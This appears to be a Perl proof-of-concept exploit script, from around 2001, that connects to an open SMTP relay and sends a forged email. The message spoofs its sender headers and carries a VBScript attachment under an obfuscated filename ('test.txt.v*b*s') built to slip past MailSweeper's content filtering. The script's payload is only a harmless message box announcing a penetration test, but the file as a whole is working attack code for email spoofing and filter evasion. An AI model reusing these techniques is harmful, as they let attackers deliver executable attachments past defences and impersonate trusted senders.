#!/usr/bin/perl
#
# Usage: ./msweep-fb.pl <fromname> <fromaddr> <toname> <toaddr> <openrelay>	- Single instance using <openrelay>
#        ./msweep-fb.pl <fromname> <fromaddr> <toname> <toaddr> -r			- Single instance using a random relay
#        ./msweep-fb.pl -f <listofaddrs> <openrelay>       			- Send to / from a list of addresses (file) using <openrelay>
#        ./msweep-fb.pl -f <listofaddrs> -r                			- Send to / from a list of addresses (file) using random relays
#        ./msweep-fb.pl [--help|-h]                        			- Prints out this usage list
#
# Open relays courtesy of cyberarmy.com - NOT IMPLEMENTED YET (will I ever get time?)
#
# N.B. This is kwik and n45tY! (o)(o)
#

#
# Libraries:
#

use IO::Socket;

#
# Constants:
#

$hstProto = "tcp";
$hstPort = "25";
$mailHELO = "HELO world";
$mailFROM = "MAIL FROM: ";
$mailRCPT = "RCPT TO: ";
$mailDATA = "DATA\r";
$mailTERM = "\r\n\r\n.\r";
$mailQUIT = "QUIT\r";

#
#
#

if ( $ARGV[0] eq "-f" )
{
	print "WARNING! Not implemented yet\n";

#        open ( INPUT,"$ARGV[1]",O_RDONLY ) or die "ERROR! Cannot open source file $ARGV[1]";
#        @INPUT = <INPUT>;
#
#        foreach $line ( @INPUT )
#        {
#                chomp ( $line );
#                if ( length ( $line ) > 1 )
#                {
#                }
#        }
#        close ( INPUT );
#
}
elsif ( $ARGV[4] eq "-r" )
{
	print "WARNING! Not implemented yet\n";
}
elsif ( ( ( $ARGV[0] ne "--help" ) || ( $ARGV[0] ne "-h" ) ) && ( $ARGV[1] ne "" ) && ( $ARGV[2] ne "" ) && ( $ARGV[3] ne "" ) && ( $ARGV[4] ne "") )
{
	$hstRelay = $ARGV[4];
	
	$sktMSweep = IO::Socket::INET-> new (PeerAddr => $hstRelay, PeerPort => $hstPort, Proto => $hstProto, Type => $hstStreamType)
        	                        or die "ERROR! Couldn't connect to $hstRelay : $hstPort - $@\n";

	$sktReply = <$sktMSweep>;
	print "MSweep DEBUG: $sktReply\n\n";

	$sktField = $mailHELO;

	print "MSweep DEBUG: $sktField\n";
	print $sktMSweep "$sktField\n";
	$sktReply = <$sktMSweep>;
	print "MSweep DEBUG: $sktReply\n\n";

	$sktField = "$mailFROM$ARGV[1]";

	print "MSweep DEBUG: $sktField\n";
	print $sktMSweep "$sktField\n";
	$sktReply = <$sktMSweep>;
	print "MSweep DEBUG: $sktReply\n\n";

	$sktField = "$mailRCPT$ARGV[3]";

	print "MSweep DEBUG: $sktField\n";
	print $sktMSweep "$sktField\n";
	$sktReply = <$sktMSweep>;
	print "MSweep DEBUG: $sktReply\n\n";

	$sktField = $mailDATA;

	print "MSweep DEBUG: $sktField\n";
	print $sktMSweep "$sktField\n";

	print "MSweep DEBUG: Sending e-mail...\n";
	print $sktMSweep <<end_of_mail;
Return-Path: <$ARGV[1]>\r
From: $ARGV[0] <$ARGV[1]>\r
To: $ARGV[2] <$ARGV[3]>\r
Subject: Fw: FYI\r
Date: Mon, 19 Feb 2001 10:36:12 -0800\r
MIME-Version: 1.0\r
X-Mailer: Internet Mail Service (10.10.123)\r
Content-Type: multipart/mixed ; boundary="----_=_NextPart_000_01C09A86.DA181CF6"\r
Status: RO\r
\r
This message is in MIME format. Since your mail reader does not understand\r
this format, some or all of this message may not be legible.\r
\r
------_=_NextPart_000_01C09A86.DA181CF6\r
Content-Type: text/plain; charset="iso-8859-1"\r
\r
---------- Forwarded message ----------\r
\r
Date: Thu, 15 Feb 2001 16:21:42 -0800\r
From: Network Security Team \@ MIS <fake-mail-addr\@mis-cds.com>\r
To: Unsuspecting user <unsuspecting.user\@test.com>\r
Cc: Unsuspect user 2 <unsuspecting.user2\@test.org>\r
Subject: Fw: Proof of concept for bypassing MailSweeper\r
\r
Hi,\r
\r
By double clicking on the attachment, a text box should appear. This is a proof of concept exploit for a vulnerability in MailSweeper's file content checking mechanisms.\r
\r
NST,\r
MIS Corporate Defence Solutions Ltd.\r
\r
\r
\r
\r
------_=_NextPart_000_01C09A86.DA181CF6\r
Content-Type: text/plain;\r
        name="test.doc"\r
Content-Disposition: attachment;\r
        filename="test.txt.v*b*s"\r
\r
msgbox("MIS Corporate Defence Solutions has compromised your organisations e-mail content filtering systems. This is part of the ongoing Network Penetration Test by MIS. Please contact your Network Administrator or the MIS Network Security Team on nst\@mis-cds.com for further details")\r
\r
end_of_mail

	print $sktMSweep "\r\n\r\n------_=_NextPart_000_01C09A86.DA181CF6\r\n";

	print $sktMSweep "$mailTERM\n";
	$sktReply = <$sktMSweep>;
	print "MSweep DEBUG: $sktReply\n\n";

	$sktField = $mailQUIT;

	print "MSweep DEBUG: $sktField\n";
	print $sktMSweep "$sktField\n";
	$sktReply = <$sktMSweep>;
	print "MSweep DEBUG: $sktReply\n\n";

	#Generate e-mail there
	close ($sktMSweep);
}
else
{
        print "Usage:\t./msweep-fb.pl <fromaddr> <toaddr> <openrelay>\t- Single instance using <openrelay>\n";
        print "\t./msweep-fb.pl <fromaddr> <toaddr> -r\t\t- Single instance using a random relay\n";
        print "\t./msweep-fb.pl -f <listofaddrs> <openrelay>\t- Send to / from a list of addresses (file) using <openrelay>\n";
        print "\t./msweep-fb.pl -f <listofaddrs> -r\t\t\t- Send to / from a list of addresses (file) using random relays\n";
        print "\t./msweep-fb.pl [--help|-h]\t\t\t\t- Prints out this usage list\n";
}

exit();